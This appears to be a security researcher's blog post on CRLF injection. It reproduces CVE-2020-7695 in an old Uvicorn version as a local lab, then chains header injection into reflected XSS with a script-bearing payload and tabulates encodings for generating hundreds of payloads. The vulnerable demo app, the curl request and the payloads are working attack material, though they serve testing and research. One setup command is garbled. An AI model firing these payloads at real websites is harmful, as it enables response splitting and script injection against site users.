🧪 New CRLF Injection Payloads

Based on CVE-2020-7695 and HackerOne disclosed reports

CRLF (Carriage Return Line Feed) injections seem interesting: through fuzzing, an entry-point is identified that allows injecting new lines, to introduce data arbitrarily, literally rewriting an HTTP response.

When searching for technical references, one of the strangest and most outlandish findings I have read is that of a CRLF injection using the + character in place of the %0D%0A hexadecimal equivalents of \r\n, for a reward of almost $3,000 USD on HackerOne:

In the case of Python, we can exemplify the use of CRLF as follows:

Python 3.10.4 (main, Apr  2 2022, 09:04:19) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "CRLF\r\n"
>>> a
'CRLF\r\n'
>>> print(a)
CRLF

>>>

As an example, we can find this class of vulnerabilities in development modules or dependencies, such as Go and Python:

r, _ := http.NewRequest("GET", "http://localhost:8080/?crlf=HTTP/1.0\nCRLF:Here",nil)
urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
conn.request(method="GET / HTTP/1.1\r\nHost: abc\r\nRemainder:", url="/index.html")

Lab setup for CRLF Injection using CVE-2020-7695

Uvicorn is an ASGI-type web server for which the code CVE-2020-7695 was registered, associated with its versions prior to 0.11.7, due to a CRLF injection vulnerability. However, only a basic and low severity proof of concept for HTTP header injection was published in the advisory:

To create and enable the vulnerable environment with venv:

python3 -m venv crlf_poc
python3 source crlf_poc/bin/activatec
wget https://github.com/encode/uvicorn/archive/refs/tags/0.11.6.zip
unzip 0.11.6.zip
cd uvicorn-0.11.6
python3 -m pip install -r requirements.txt
python3 setup.py install

In order to emulate the vulnerability, I used the following crlf.py code:

async def app(scope, receive, send):
    assert scope['type'] == 'http' 
     
    await send({ 
        'type': 'http.response.start',
        'status': 200, 
        'headers': [ 
            [b'Content-Type', b'text/plain'],[b'X-XSS-Protection',b'1; mode=block'],[b'Referer',scope['path'].encode()],
        ],
    })
    await send({ 
        'type': 'http.response.body',
        'body': b'POC CRLF - CVE-2020-7695'
    })

Finally, it is necessary to run crlf.py to fully reproduce CVE-2020-7695:

uvicorn crlf:app --port 1234 --http httptools

So, we forward an HTTP request to Burp Suite to verify the injection of HTTP headers using the same payload published in the advisory:

curl http://e-virtus.local:1234/foo%0d%0abar:%20baz -x http://127.0.0.1:8080 --insecure

From CRLF Injection to Cross-site Scripting (XSS) Reflected

Under a strict context, HTTP header injections, by themselves, do not represent a high impact, nor a medium one; rather, they are of low severity, because certain situations have to be met for the severity to increase, however, the CVE-2020-7695 advisory was published as medium severity, without proper impact verification.

When using, for example, the following HTTP headers, a Cross-site Scripting (XSS) injection vulnerability is theoretically not possible:

content-type: text/plain
x-xss-protection: 1; mode=block

However, we can bypass these and other configuration and security restrictions based on HTTP headers (CORS, CSP, etc.), using payloads like this, where we will be able to rewrite the HTTP response almost completely:

%0d%0acontent-type%3a%20text/html%3b+charset%3dutf-8%0d%0a%0d%0a<script>alert('de_CRLF_a_XSS')</script>

This, then, is how the severity of CVE-2020-7695 can be increased, from low to medium, using the injection of HTTP headers as a combination factor (bug chaining), and we open the way to possible high severity attacks, such as Account Takeover (ATO).

Data tables for CRLF injection payloads

Outcome: more than 380 New CRLF Injection Payloads

Basic CRLF Injection Payloads

Name Acronym Character Hex ASCII
Carriage Return CR \r 0D %0D
Line Feed LF \n 0A %0A

Combination factors for CRLF Injection Payloads

Name Acronym Character Hex ASCII
Vertical Tab VTAB \v 0B %0B
Form Feed FF \f 0C %0C
Null NUL \0 00 %00

HackerOne CRLF Injection Payloads

Name Acronym Character Hex ASCII
Hash # 23 %23
Question mark ? 3F %3F
Horizontal Tab HT \t 09 %09
Space 20 %20
Name Payload Description
CRLF Bypass %E5%98%8A%E5%98%8D UTF-8 Based

This tables are based on the following disclosed reports:

  • https://hackerone.com/reports/52042
  • https://hackerone.com/reports/446271
  • https://hackerone.com/reports/217058
  • https://hackerone.com/reports/192667
  • https://hackerone.com/reports/145128
  • https://hackerone.com/reports/13314
  • https://hackerone.com/reports/67386
  • https://hackerone.com/reports/66386
  • https://hackerone.com/reports/730786
  • https://hackerone.com/reports/121489
  • https://hackerone.com/reports/183796
  • https://hackerone.com/reports/192749
  • https://hackerone.com/reports/154306
  • https://hackerone.com/reports/181939
  • https://hackerone.com/reports/177624
  • https://hackerone.com/reports/798686
  • https://hackerone.com/reports/583819
  • https://hackerone.com/reports/143139
  • https://hackerone.com/reports/221883
  • https://hackerone.com/reports/441090
  • https://hackerone.com/reports/513236
  • https://hackerone.com/reports/53843

Data table of combination-permutation

Factors
URL encode and double encode
Uppercase and lowercase

Payload testing with CVE-2020-7695 Lab

Download of CRLF Injection Payloads and the Nuclei template